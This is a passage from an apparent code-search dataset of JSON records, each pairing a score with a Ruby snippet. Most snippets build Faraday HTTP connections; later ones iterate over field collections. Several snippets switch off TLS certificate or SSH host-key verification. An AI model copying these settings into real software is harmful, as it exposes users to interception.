h.name.include? ':Adapter:' }\n conn.adapter Faraday.default_adapter\n end\n end\n end", "title": "" }, { "docid": "e511fa95f4a94244aaa55628c0c328aa", "score": "0.58318424", "text": "def connection\n @conn ||= Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n\n faraday.request :multipart\n faraday.request :json\n\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "25c61a8cc3293ed139020cfa9ded1e00", "score": "0.58249646", "text": "def connection\n @connection ||= Faraday.new(ENDPOINT, connection_options)\n end", "title": "" }, { "docid": "63af6d0adf80e36898134bcb6c32a15d", "score": "0.58112574", "text": "def base_connection(options = FmRest.default_connection_settings, &block)\n host = options.fetch(:host)\n\n # Default to HTTPS\n scheme = \"https\"\n\n if host.match(/\\Ahttps?:\\/\\//)\n uri = URI(host)\n host = uri.hostname\n host += \":#{uri.port}\" if uri.port != uri.default_port\n scheme = uri.scheme\n end\n\n faraday_options = {}\n faraday_options[:ssl] = options[:ssl] if options.key?(:ssl)\n faraday_options[:proxy] = options[:proxy] if options.key?(:proxy)\n\n Faraday.new(\n \"#{scheme}://#{host}#{BASE_PATH}/#{URI.escape(options.fetch(:database))}/\".freeze,\n faraday_options,\n &block\n )\n end", "title": "" }, { "docid": "ff6c348719d848fb2bff180cb47759d3", "score": "0.5806745", "text": "def faraday_options=(v)\n cfg_set(:faraday_options, v)\n end", "title": "" }, { "docid": "13ca29dca44686b4093b6911e912948f", "score": "0.57968575", "text": "def connection_options\n { :request => {\n :timeout => options[:timeout],\n :open_timeout => options[:timeout] },\n :proxy => options[:proxy_uri]\n }\n end", "title": "" }, { "docid": "ca526e041a91c2f752f0c9932d409989", "score": "0.5794127", "text": "def connection\n @connection ||= Faraday.new(self.api_url, { ssl: { verify: false } })\n end", "title": "" }, { "docid": "5aeb4b0f7b42919e3494dc25dca1071b", "score": "0.579199", "text": "def connection\n @connection ||= Faraday.new(@endpoint, @connection_options, &@middleware)\n end", "title": "" }, { "docid": "90426a8cbaa21dc8449c9ae4a5f51041", "score": "0.577127", "text": "def endpoint_options\n {user: @username,\n pass: @password,\n host: @host,\n port: @port,\n operation_timeout: @timeout_in_seconds,\n no_ssl_peer_verification: true,\n disable_sspi: true}\n end", "title": "" }, { "docid": "04fd82133744213fee3cd59775e226ea", "score": "0.577039", "text": "def connection\n @connection ||= Faraday.new(ENDPOINT, connection_options)\n end", "title": "" }, { "docid": "ad3cf8364344c8cf2ea19ace216e8783", "score": "0.5762606", "text": "def http_options time = nil\n config_valid?\n ts = (time || Time.new).to_i.to_s\n digest = OpenSSL::Digest::SHA1.hexdigest(@configuration.shared_secret + ts)\n {\n api_key: @configuration.api_key,\n ts: ts,\n hash: digest\n }\n end", "title": "" }, { "docid": "ad95a8698e8c1ab08bdf8f3cc972cc51", "score": "0.575548", "text": "def connection\n @conn ||= Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n faraday.request :json\n\n faraday.response :betamocks if use_mocks?\n faraday.response :snakecase, symbolize: false\n faraday.response :json, content_type: /\\bjson/\n\n faraday.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "76a8f4b4f7af30ab055a8770048854a5", "score": "0.574075", "text": "def faraday_options=(v)\n cfg_set(:faraday_options, v)\n end", "title": "" }, { "docid": "3880d4f8124410a971baad50f9e513d4", "score": "0.57369274", "text": "def connection\n Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.request :json\n\n faraday.response :raise_error, error_prefix: service_name\n faraday.response :caseflow_errors\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "c55cafe22fbbfd9d99f7ce58a821f128", "score": "0.5719707", "text": "def connection\n @connection = begin\n connection_options = {:builder => @middleware}\n connection_options[:ssl] = {:verify => true} if @endpoint[0..4] == 'https'\n connection_options[:proxy] = @proxy if @proxy\n Faraday.new(@endpoint, @connection_options.merge(connection_options))\n end\n end", "title": "" }, { "docid": "e1129ba20946f54a16620a15363b69ff", "score": "0.5700354", "text": "def connection\n Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.request :json\n\n faraday.response :raise_error, error_prefix: service_name\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "2085f00c355c14e34f180f646d407c5a", "score": "0.5697484", "text": "def options\n @options ||= OpenStruct.new\n end", "title": "" }, { "docid": "854c4b96b177ffacaed222811878c7ab", "score": "0.56843674", "text": "def faraday_ssl(options)\n return options[:ssl] if options[:ssl]\n\n ssl = options[:options]\n return unless ssl[:verify_ssl] || ssl[:ssl_cert_store]\n\n {\n verify: ssl[:verify_ssl] != OpenSSL::SSL::VERIFY_NONE,\n cert_store: ssl[:ssl_cert_store],\n }\n end", "title": "" }, { "docid": "f226bb988947254faadb74add09cdeca", "score": "0.5680566", "text": "def faraday_ssl(options)\n return options[:ssl] if options[:ssl]\n\n ssl = options[:options]\n return unless ssl[:verify_ssl] || ssl[:ssl_cert_store]\n\n {\n verify: ssl[:verify_ssl] != OpenSSL::SSL::VERIFY_NONE,\n cert_store: ssl[:ssl_cert_store],\n }\n end", "title": "" }, { "docid": "0f9c41021ce0425b231a8e4ee26e067f", "score": "0.56657726", "text": "def get_full_options\n options_hash = self.get_runtime_options\n [:task_list, :version, :_exponential_retry, :prefix_name, :return_on_start, :manual_completion, :data_converter].each do |attribute|\n options_hash.merge!(attribute => self.send(attribute)) if self.send(attribute)\n end\n options_hash\n end", "title": "" }, { "docid": "116b6c8121a8eb3cf1ae5bdbdf1c5ad5", "score": "0.5665493", "text": "def connection\n @connection ||= Faraday.new(@endpoint, @connection_options.merge(:builder => @middleware))\n end", "title": "" }, { "docid": "116b6c8121a8eb3cf1ae5bdbdf1c5ad5", "score": "0.5665493", "text": "def connection\n @connection ||= Faraday.new(@endpoint, @connection_options.merge(:builder => @middleware))\n end", "title": "" }, { "docid": "116b6c8121a8eb3cf1ae5bdbdf1c5ad5", "score": "0.5665493", "text": "def connection\n @connection ||= Faraday.new(@endpoint, @connection_options.merge(:builder => @middleware))\n end", "title": "" }, { "docid": "116b6c8121a8eb3cf1ae5bdbdf1c5ad5", "score": "0.5665493", "text": "def connection\n @connection ||= Faraday.new(@endpoint, @connection_options.merge(:builder => @middleware))\n end", "title": "" }, { "docid": "725cd8a2945da8b5fb5081905e53f310", "score": "0.5650977", "text": "def connection\n @conn ||= Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n\n faraday.request :multipart\n faraday.request :json\n\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "725cd8a2945da8b5fb5081905e53f310", "score": "0.5650977", "text": "def connection\n @conn ||= Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n\n faraday.request :multipart\n faraday.request :json\n\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "51de5704e1321714e1214d6cc4b5fb71", "score": "0.5645224", "text": "def connection_options(opts)\n connection_options = {\n logger: logger,\n user_known_hosts_file: \"/dev/null\",\n hostname: opts[:host],\n port: opts[:port],\n username: opts[:user],\n compression: opts[:compression],\n compression_level: opts[:compression_level],\n keepalive: opts[:keepalive],\n keepalive_interval: opts[:keepalive_interval],\n timeout: opts[:connection_timeout],\n connection_retries: opts[:connection_retries],\n connection_retry_sleep: opts[:connection_retry_sleep],\n max_wait_until_ready: opts[:max_wait_until_ready],\n auth_methods: opts[:auth_methods],\n keys_only: opts[:keys_only],\n keys: opts[:key_files],\n password: opts[:password],\n forward_agent: opts[:forward_agent],\n proxy_command: opts[:proxy_command],\n bastion_host: opts[:bastion_host],\n bastion_user: opts[:bastion_user],\n bastion_port: opts[:bastion_port],\n non_interactive: opts[:non_interactive],\n append_all_supported_algorithms: opts[:append_all_supported_algorithms],\n config: options[:ssh_config_file],\n transport_options: opts,\n }\n # disable host key verification. The hash key and value to use\n # depends on the version of net-ssh in use.\n connection_options[verify_host_key_option] = verify_host_key_value(opts[:verify_host_key])\n\n connection_options\n end", "title": "" }, { "docid": "f25d13df32e62683b382b1aa2a2a2d14", "score": "0.5639632", "text": "def connection\n @connection ||= begin\n connection_options = {:builder => @middleware}\n Faraday.new(@endpoint, @connection_options.merge(connection_options))\n end\n end", "title": "" }, { "docid": "397cc91bce271c531829126b302e7e78", "score": "0.56393075", "text": "def options\n Http::Options.new(self, @options).invoke\n end", "title": "" }, { "docid": "ae9a34d7871d02f4227aa69fe7e649a4", "score": "0.56356543", "text": "def endpoint_connection\n @endpoint_connection ||= Faraday.new(url: endpoint_url) do |faraday|\n faraday.request :basic_auth, user, password\n faraday.params = datasource_params\n faraday.adapter :net_http\n end\n end", "title": "" }, { "docid": "a209f516c9e09d41c2cf869f68bd500f", "score": "0.5624687", "text": "def connection_options\n {\n :headers => {\n :accept => media_type,\n :user_agent => user_agent\n }\n }\n end", "title": "" }, { "docid": "fec8ce9e781bc49325200f462175325d", "score": "0.5624529", "text": "def conn\n Faraday.new(:url => @config.url) do |c|\n c.adapter Faraday.default_adapter\n c.headers['User-Agent'] = @config.usr_agent\n c.params = self.options\n end\n end", "title": "" }, { "docid": "653676c78fbd87a42e6bcf92452e0f34", "score": "0.5605484", "text": "def faraday_connection(url=nil)\n url ||= self.root\n key = \"faraday_connection_#{url}\"\n return Thread.current[key] if Thread.current[key]\n\n fc = Faraday.new(:url => url)\n fc.headers.merge!('User-Agent' => \"HyperResource #{HyperResource::VERSION}\")\n fc.headers.merge!(self.headers || {})\n if ba=self.auth[:basic]\n fc.basic_auth(*ba)\n end\n Thread.current[key] = fc\n end", "title": "" }, { "docid": "7d29a9c2ba375bab77678fc5c9aed93b", "score": "0.56048745", "text": "def client_options\n opts = uri_options.tap do |opts|\n opts[:database] = @database if @database\n end\n\n @user ? opts.merge(credentials) : opts\n end", "title": "" }, { "docid": "3b8e2bf44068899017145db0cf771946", "score": "0.5601183", "text": "def connection\n @connection ||= Faraday.new(url: api_endpoint) do |faraday|\n faraday.use Faraday::Request::UrlEncoded\n faraday.use Redd::Response::RaiseError\n faraday.use Redd::Response::ParseJson\n faraday.adapter Faraday.default_adapter\n\n faraday.headers = headers\n end\n end", "title": "" }, { "docid": "b26e91da06c7969f120e5fbbb8873727", "score": "0.55987555", "text": "def connection(options = {})\n\n options = self.connection_options(options)\n \n if @connection_options != options\n @connection = nil\n @connection_options = options\n end\n\n @connection ||= Faraday.new(@connection_options.merge(:builder => self.stack))\n end", "title": "" }, { "docid": "e51dbf26e388a88f94ab97be20cb422e", "score": "0.5587175", "text": "def connection\n Faraday.new(api_url, ssl: { verify: true }) do |conn|\n conn.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "bc9a7a8951230f4a75c46f6ec97fecbf", "score": "0.5580085", "text": "def connection\n params = {}\n @connection ||= Faraday::Connection.new(:url => api_url, :ssl => ssl, :params => params, :headers => default_headers) do |builder|\n @connection_middleware.each do |middleware|\n builder.use *middleware\n end\n builder.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "31056345df9bca01797fb31e4a056c7d", "score": "0.55774504", "text": "def options\n @options ||= OpenStruct.new\n end", "title": "" }, { "docid": "31056345df9bca01797fb31e4a056c7d", "score": "0.55774504", "text": "def options\n @options ||= OpenStruct.new\n end", "title": "" }, { "docid": "c82855457ec4eea483f27ac0cccaae57", "score": "0.55663866", "text": "def connection(options = {})\n default_options = {\n :headers => {\n :accept => 'application/json',\n :user_agent => user_agent,\n :host => EdgeCast::Config::DEFAULT_HOST\n },\n :ssl => { :verify => false },\n :url => endpoint,\n }\n\n @connection ||= Faraday.new(default_options.merge(connection_options)) do |builder|\n builder.request :auth, api_token\n builder.request :json\n builder.request :multipart\n builder.request :url_encoded\n\n builder.response :client_error\n builder.response :json\n builder.response :server_error\n\n builder.adapter(adapter)\n end\n end", "title": "" }, { "docid": "a15a7f831f6d86caff7f7d1c341f0969", "score": "0.5558601", "text": "def conn\n @conn ||= Faraday.new(base_url, headers: @headers, ssl: ssl_options, request: timeout) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n faraday.use EVSS::ErrorMiddleware\n faraday.response :betamocks if @use_mock\n faraday.response :snakecase, symbolize: false\n faraday.response :json_parser\n faraday.use :remove_cookies\n faraday.adapter :httpclient\n end\n end", "title": "" }, { "docid": "665c1c145ec831de98fd8c82e5e7b022", "score": "0.5545986", "text": "def options\n Hash[VALID_OPTIONS_KEYS.map {|key| [key, public_send(key)] }]\n end", "title": "" }, { "docid": "99243c739af9900d0380d1fc6baa3ddb", "score": "0.5543712", "text": "def connection_options\n {\n headers: {\n user_agent: user_agent\n }\n }\n end", "title": "" }, { "docid": "d36f48eca3546f0c460b27383da71efc", "score": "0.5531776", "text": "def connection\n @connection ||= Faraday.new(\"#{URL_PREFIX}\", connection_options) do |conn|\n conn.basic_auth(api_key, nil)\n end\n end", "title": "" }, { "docid": "ac94c5387607967974503594a7de83fa", "score": "0.55179244", "text": "def endpoint_connection\n @endpoint_connection ||= Faraday.new(url: endpoint_url) do |faraday|\n faraday.params = datasource_params\n faraday.adapter :net_http\n end\n end", "title": "" }, { "docid": "ac94c5387607967974503594a7de83fa", "score": "0.55179244", "text": "def endpoint_connection\n @endpoint_connection ||= Faraday.new(url: endpoint_url) do |faraday|\n faraday.params = datasource_params\n faraday.adapter :net_http\n end\n end", "title": "" }, { "docid": "71b67f371ceca588dcd257d7f69b9b93", "score": "0.5511757", "text": "def configure_faraday(&config)\n @configuration[:faraday_configuration] = config\n end", "title": "" }, { "docid": "9f000414ecc7a55d677c0fc7188c223b", "score": "0.55099857", "text": "def faraday_adapter\n Faraday.default_adapter\n end", "title": "" }, { "docid": "cb6aeb259f572966f18e1ecf08d8207c", "score": "0.55084956", "text": "def connection_options\n {\n headers: {\n accept: default_media_type,\n user_agent: user_agent\n }\n }\n end", "title": "" }, { "docid": "cb6aeb259f572966f18e1ecf08d8207c", "score": "0.55084956", "text": "def connection_options\n {\n headers: {\n accept: default_media_type,\n user_agent: user_agent\n }\n }\n end", "title": "" }, { "docid": "c4b9c93efef6d3fd3776e0f59cccdb7e", "score": "0.5504109", "text": "def call_options\n return @call_options\n end", "title": "" }, { "docid": "c48d2bf2679ae6d466e310ab298c4d35", "score": "0.5493521", "text": "def connection_options\n {\n :headers => {\n :accept => default_media_type,\n :user_agent => user_agent\n },\n :builder => middleware\n }\n end", "title": "" }, { "docid": "12fa5999d5e9fe544f0920cd3a1900e2", "score": "0.5490993", "text": "def connection\n @connection ||= Faraday.new(url: PriceHubble.configuration.base_url,\n &method(:configure))\n end", "title": "" }, { "docid": "a65a9fe5c452984c14dae7053055ee56", "score": "0.549087", "text": "def connection\n @conn ||= Faraday.new(base_path, headers: base_request_headers, request: request_options) do |faraday|\n faraday.use :breakers\n faraday.use Faraday::Response::RaiseError\n\n faraday.response :betamocks if mock_enabled?\n faraday.response :json\n faraday.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "72def71efbb5063c7eaf7c72bb7dae55", "score": "0.54839545", "text": "def connection\n @connection ||= Faraday.new(base_url) do |builder|\n build_middleware(builder)\n builder.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "a0f553b6d982847e4505ff2cb97b8982", "score": "0.547869", "text": "def get_options\n @options\n end", "title": "" }, { "docid": "a53c37f3051e6251fe83bed660158193", "score": "0.5478211", "text": "def endpoint_connection\n @endpoint_connection ||= Faraday.new(url: endpoint_url) do |faraday|\n faraday.adapter :net_http\n end\n end", "title": "" }, { "docid": "328833f7c9359df856f91ec8581f5767", "score": "0.54771996", "text": "def options\n Hash[VALID_OPTIONS_KEYS.map {|key| [key, send(key)] }]\n end", "title": "" }, { "docid": "34bade85081ace80dacca8e1757c6679", "score": "0.5474255", "text": "def options\n return @data.options\n end", "title": "" }, { "docid": "8648001c283e75ea88023e2273edd9ff", "score": "0.547424", "text": "def adapter_options\n cfg = APP_CONFIG[\"ldap\"]\n {\n host: cfg[\"hostname\"],\n port: cfg[\"port\"],\n connection_timeout: cfg[\"timeout\"],\n encryption: encryption(cfg)\n }.tap do |options|\n options.merge!(auth_options) if authentication?\n end\n end", "title": "" }, { "docid": "f78bcd6d5241e0580befcd93eb520248", "score": "0.5469136", "text": "def faraday_connection(url = nil)\n url ||= URI.join(root, href)\n\n Faraday.new(faraday_options.merge(url: url)) do |builder|\n builder.headers.merge!(headers || {})\n builder.headers['User-Agent'] = Aptible::Resource.configuration\n .user_agent\n\n if (ba = auth[:basic])\n builder.basic_auth(*ba)\n end\n\n builder.request :url_encoded\n builder.request :retry\n builder.adapter Faraday.default_adapter\n end\n end", "title": "" }, { "docid": "85e69cdcf289cc8102a2f42d177ac541", "score": "0.54679996", "text": "def connection\n @connection ||=\n begin\n conn_opts = {}\n conn_opts[:url] = url\n #conn_opts[:proxy] = proxy if proxy\n conn_opts[:request] = options.slice(:timeout, :open_timeout)\n conn_opts[:request][:params_encoder] = Faraday::FlatParamsEncoder\n\n retry_opt = {\n max: options[:retry_after_limit],\n interval: 0.05,\n interval_randomness: 0.5,\n backoff_factor: 2,\n }\n\n Faraday.new(conn_opts) do |conn|\n conn.use :ils_caching_middleware\n conn.request :retry, retry_opt\n conn.response :raise_error\n conn.adapter options[:adapter] || Faraday.default_adapter\n end\n end\n end", "title": "" }, { "docid": "ead8f3fd526a529fcb47b4d04486a4a1", "score": "0.54586357", "text": "def connection\n @connect ||= Faraday.new do |f|\n f.adapter :net_http\n f.headers = connection_headers\n f.url_prefix = \"#{default_url_prefix}/api/v#{api_version}/\"\n f.response :json, content_type: /\\bjson$/\n end\n end", "title": "" }, { "docid": "718c493c06dd19743b58223935fd2827", "score": "0.5453292", "text": "def connection_options\n {\n :headers => {\n :accept => default_media_type,\n :user_agent => user_agent\n }\n }\n end", "title": "" }, { "docid": "718c493c06dd19743b58223935fd2827", "score": "0.5453292", "text": "def connection_options\n {\n :headers => {\n :accept => default_media_type,\n :user_agent => user_agent\n }\n }\n end", "title": "" }, { "docid": "99ed2424b89e3745a10881a53bb1aa1a", "score": "0.5443533", "text": "def options\n self[:options] || {}\n end", "title": "" }, { "docid": "32a0aee468406a527365104939498148", "score": "0.5438147", "text": "def get_options(symbol, opts = {})\n data, _status_code, _headers = get_options_with_http_info(symbol, opts)\n return data\n end", "title": "" }, { "docid": "ab455806b40779ecf6f71868834b593b", "score": "0.54359376", "text": "def ssl_options\n if ssl_cert && ssl_key\n {\n client_cert: ssl_cert,\n client_key: ssl_key\n }\n end\n end", "title": "" }, { "docid": "c3f897e9566a86736d2450d3df543627", "score": "0.5434804", "text": "def connection_options\n {\n :headers => {\n # :accept => default_media_type,\n :user_agent => user_agent\n }\n }\n end", "title": "" }, { "docid": "6db0f801ef3de12a761cef58453dedb8", "score": "0.5431646", "text": "def options\n Hash[VALID_OPTIONS.map { |key| [key, send(key)] }]\n end", "title": "" }, { "docid": "fd27dfc801fb95b3f775af30ff0934d2", "score": "0.54288614", "text": "def options\n\t\t\toptions = {}\n\t\t\tVALID_OPTIONS_KEYS.each{|k| options[k] = send(k)}\n\t\t\toptions\n\t\tend", "title": "" }, { "docid": "0e249684b709a5c6e562abad78b8c8b3", "score": "0.54214734", "text": "def connection\n @connection ||= begin\n conn = Faraday.new(url: url)\n conn.build do |b|\n conn_build.call(b)\n end if conn_build\n conn\n end\n end", "title": "" }, { "docid": "d29234a90fbbf09bf60b4516e22c8b0f", "score": "0.54149425", "text": "def options \n options = {}\n VALID_OPTIONS_KEYS.each {|k| options[k] = send(k)}\n options\n end", "title": "" } ]
6022e7cd5f3de11a114a8baf96e7b800
Iterate over a field collection. message.each_field do |field_object, value| do something end
[ { "docid": "ad9784dd8b9cfd8f9bf576b69a93bc01", "score": "0.7912182", "text": "def each_field\n all_fields.each do |field|\n value = __send__(field.name)\n yield(field, value)\n end\n end", "title": "" } ]
[ { "docid": "fca58fc39e35b9a66bcd674674c1ad4a", "score": "0.770016", "text": "def each_field # :yield:name, type\n\t\[email protected] { |field| yield(*field) } \n\t end", "title": "" }, { "docid": "8f1b55f4dbeb3489594f7274bd400ad6", "score": "0.7643195", "text": "def each(&block)\n @fields.flatten.each{ |field| yield(field) }\n end", "title": "" }, { "docid": "9bc3521ae0d5cfcc5c117f37107a9b20", "score": "0.7556181", "text": "def each_field\n return enum_for(__method__) if !block_given?\n fields.each { |field| yield(*field) }\n end", "title": "" }, { "docid": "b253f83a46f5cbf931b0cd1de29fc85f", "score": "0.7230572", "text": "def each_field\n return to_enum(:each_field) unless block_given?\n\n self.class.all_fields.each do |field|\n value = self[field.name]\n yield(field, value)\n end\n end", "title": "" }, { "docid": "ccb9ffa28b5e1299e5e8b2094a9d3e44", "score": "0.7221064", "text": "def each(&block)\n block.call self if block\n if respond_to?(:fields) &! fields.empty?\n fields.each{|field| field.each &block }\n end\n end", "title": "" }, { "docid": "686412df23244565804b6a311b527e6a", "score": "0.70660955", "text": "def each_field\n return enum_for(__method__) if !block_given?\n\n self.class.each do |field|\n yield(field.name, get(field.name))\n end\n end", "title": "" }, { "docid": "b2676d8ebd4d3eb2af6390af50c2df25", "score": "0.7060443", "text": "def each_field\n self.form.form_fields.each do |field|\n yield field, self.data[field.name.to_sym]\n end\n end", "title": "" }, { "docid": "b253e2628fc54eba4bdd157da94c738e", "score": "0.70579785", "text": "def __each_field(e0)\n e0.each do |e1|\n if e1.is_a? Array\n ___each_ccrange(e1)\n else\n ___getfield(e1)\n end\n end\n end", "title": "" }, { "docid": "bf0c7bc7c498164b2e5c0def84b83a91", "score": "0.6997824", "text": "def each_field\n each_name do |fieldname|\n yield SubTextField.new(fieldname)\n end\n end", "title": "" }, { "docid": "21d29d9fcc56fed5ff7589317707d3b0", "score": "0.69928753", "text": "def each\n @fields.each do |name, field|\n yield BoundField.new(self, field, name)\n end\n end", "title": "" }, { "docid": "21d29d9fcc56fed5ff7589317707d3b0", "score": "0.69928753", "text": "def each\n @fields.each do |name, field|\n yield BoundField.new(self, field, name)\n end\n end", "title": "" }, { "docid": "4a37fcbb949c20835d41de5f3ff30416", "score": "0.6967924", "text": "def each_field(&block)\n if block_given?\n @fields.each(&block)\n self\n else\n @fields.dup\n end\n end", "title": "" }, { "docid": "55daa944ea92a29e41e77b72c28ec9a5", "score": "0.6920465", "text": "def each(&block)\n\t\t\[email protected](&block)\n\t\tend", "title": "" }, { "docid": "785055b32c3390837aa0c9b4f7386948", "score": "0.6903149", "text": "def each\n @fields.each do |name, field|\n yield Fields::BoundField.new(self, field, name)\n end\n end", "title": "" }, { "docid": "4d3eb439ef51176b0be6cc3149335783", "score": "0.6901818", "text": "def each(&block)\n fields_by_name.each_value(&block)\n end", "title": "" }, { "docid": "04b7a150c4f5b3f112fc13b34cdc107c", "score": "0.68627465", "text": "def each\n return enum_for(:each) unless block_given?\n self.class.fields.each { |name, _| yield name, send(name) }\n end", "title": "" }, { "docid": "a6938ac5e223929fd574c4581fa0e573", "score": "0.67869204", "text": "def each_field\n unless block_given?\n return enum_for(:each_field)\n end\n\n each_record_from_data_dictionary_index(:SYS_FIELDS, :PRIMARY) do |record|\n yield record.fields\n end\n\n nil\n end", "title": "" }, { "docid": "49c694c3a86344163e4453c5a79403cc", "score": "0.6732524", "text": "def each_poss_field\n each_poss_name do |fieldname|\n yield SubText.new(fieldname)\n end\n end", "title": "" }, { "docid": "2e5cb9fa10a6b4eff26512874c4e2a31", "score": "0.66267174", "text": "def each_field\n return enum_for(:each_field) unless block_given?\n\n each_record_from_data_dictionary_index(:SYS_FIELDS, :PRIMARY) do |record|\n yield record.fields\n end\n\n nil\n end", "title": "" }, { "docid": "01977e9129a02dc26caaa0ddd9a21b2e", "score": "0.65966773", "text": "def each_field_with_value\n non_value_fields = DynamicFormField.class_variable_get(:@@field_with_null_value).delete_if{ |field| field == \"field_group\"}\n \n properties.each do |index, field|\n if field[:type].to_s == 'file_upload'\n attachment_field_id = field[:id]\n attachment = attachments.find { |attachment| attachment.content_meta == attachment_field_id }\n field[:attachment] = attachment\n yield attachment, field\n else\n next if non_value_fields.include?(field[:type])\n yield index, field\n end\n end\n end", "title": "" }, { "docid": "5d4e7d9ba343e1248ce17580f2dfb32f", "score": "0.65275806", "text": "def each_field\n @report.per_signature.values.each do |sps|\n sps.per_type.each do |type|\n type.field.each do |field|\n yield type, field\n end\n end\n end\n end", "title": "" }, { "docid": "1e1e366e6cdb89f94e067a5624fe0053", "score": "0.64613265", "text": "def each(&blk)\n fields.each do |field|\n if field.child?\n val = self.send(field.reader)\n yield val unless val.nil?\n end\n end\n return self\n end", "title": "" }, { "docid": "492a43b330df5e912208b08d81bc4552", "score": "0.6314987", "text": "def each_field(name, &thunk)\n self.local_common_field(name, []).each &thunk\n self.shared_common_field(name, []).each &thunk\n self.local_os_field(name, []).each &thunk\n self.shared_os_field(name, []).each &thunk\n self.local_vm_field(name, []).each &thunk\n self.shared_vm_field(name, []).each &thunk\n end", "title": "" }, { "docid": "313516c06f584ee4114f37598d321566", "score": "0.630627", "text": "def fields\n self.class.instance_variable_get('@binding_data'.to_sym).each{|datum| yield datum}\n end", "title": "" }, { "docid": "4fcc65c2aa824d60044236a137698848", "score": "0.6193715", "text": "def each_field(delimiter)\n return enum_for(__method__, delimiter) unless block_given?\n\n read.each_line(delimiter) do |line|\n yield line.chomp(delimiter)\n end\n end", "title": "" }, { "docid": "75c8a8d52c411c81856279765058ba94", "score": "0.6177346", "text": "def every(field)\n @lines.inject([]) { |result, fields| result << fields[field] if fields.has_key?(field); result }\n end", "title": "" }, { "docid": "75c8a8d52c411c81856279765058ba94", "score": "0.6177346", "text": "def every(field)\n @lines.inject([]) { |result, fields| result << fields[field] if fields.has_key?(field); result }\n end", "title": "" }, { "docid": "cdf20ff905f66c53c2e55dc384c8a014", "score": "0.60867137", "text": "def each(cond = nil) # :yields: Field\n @fields.each do |field|\n if(cond == nil || cond.call(field))\n yield field\n end\n end\n self\n end", "title": "" }, { "docid": "cdf20ff905f66c53c2e55dc384c8a014", "score": "0.60867137", "text": "def each(cond = nil) # :yields: Field\n @fields.each do |field|\n if(cond == nil || cond.call(field))\n yield field\n end\n end\n self\n end", "title": "" }, { "docid": "cdf20ff905f66c53c2e55dc384c8a014", "score": "0.60867137", "text": "def each(cond = nil) # :yields: Field\n @fields.each do |field|\n if(cond == nil || cond.call(field))\n yield field\n end\n end\n self\n end", "title": "" }, { "docid": "cdf20ff905f66c53c2e55dc384c8a014", "score": "0.60867137", "text": "def each(cond = nil) # :yields: Field\n @fields.each do |field|\n if(cond == nil || cond.call(field))\n yield field\n end\n end\n self\n end", "title": "" }, { "docid": "de36b7063933c1c6689acc7eeb5c486e", "score": "0.60851324", "text": "def each_line\n @fields.each{ |row| yield( row ) }\n end", "title": "" }, { "docid": "af58f349a11f521b9f74509d25b96b8e", "score": "0.59660524", "text": "def to_fields(fields, mapping_method)\n fields.each { |field| to_field field, mapping_method }\n end", "title": "" }, { "docid": "d2df6abc5a6c283eb9b87438d52ad558", "score": "0.59460855", "text": "def add_each_operation(mods, field, value)\n if mods.has_key?(field)\n value.each do |val|\n mods[field][\"$each\"].push(val)\n end\n else\n mods[field] = { \"$each\" => value }\n end\n end", "title": "" }, { "docid": "eb51df4455c2e03935970af1b1495432", "score": "0.5931837", "text": "def each &block\n each_msg_val do |key_message_value, value_message_value|\n key_value = convert_upb_to_ruby(key_message_value, key_type)\n value_value = convert_upb_to_ruby(value_message_value, value_type, descriptor, arena)\n yield key_value, value_value\n end\n nil\n end", "title": "" }, { "docid": "685da26e1780a1c89aeac261f68b564b", "score": "0.59070647", "text": "def each\n messages.each do|key, msgs|\n yield key, msgs\n end\n end", "title": "" }, { "docid": "007d3757b34d963cb768c3019e416f84", "score": "0.5862897", "text": "def each()\r\n\t\[email protected]{ |b| yield(b) }\r\n\tend", "title": "" }, { "docid": "29d0a41c366c088d203edb3f467a3588", "score": "0.58461416", "text": "def each\n @header.each{|field, value| yield(field, value) }\n end", "title": "" }, { "docid": "a90e6072cf6d1be46466bcaa6e7c1c6e", "score": "0.5845113", "text": "def field_values( field )\n #This is a stub, used for indexing\n end", "title": "" }, { "docid": "585e83393f38233c3373eab269bf38cd", "score": "0.58156765", "text": "def all_by_field(field, value)\n translate_each_from_interface interface.get_all_for_key_with_value(data_collection, field, value)\n end", "title": "" }, { "docid": "523da062703cde7ea263c739f9fd53eb", "score": "0.58143324", "text": "def fields(*names, **props, &block)\n names.each {|name| field(name, props, &block) }\n end", "title": "" }, { "docid": "095e0a4d7fa6c5e0e9568a00db6d69c7", "score": "0.5774902", "text": "def each\n @solrfieldspecs.each do |fs|\n yield fs\n end\n end", "title": "" }, { "docid": "f6787a48566d75bfe6fb37faf054ff18", "score": "0.57531244", "text": "def fields; @_fields; end", "title": "" }, { "docid": "dde4ef8e3d25ae79ea0d9026ca563da6", "score": "0.57406896", "text": "def each_field(mode = :all, roles = [])\n (self.class.field_sequence | self.attributes.keys).each do |key|\n value = self.send(key)\n condition =\n case mode\n when :all \n true\n when :show \n !((self.class.admin_field?(key) && !roles.include?(:admin)) || (value.blank? && value != false) || self.class.hidden_field?(key))\n when :edit \n self.attributes.keys.include?(key) && !self.class.hidden_field?(key) && !self.class.readonly_field?(key) && 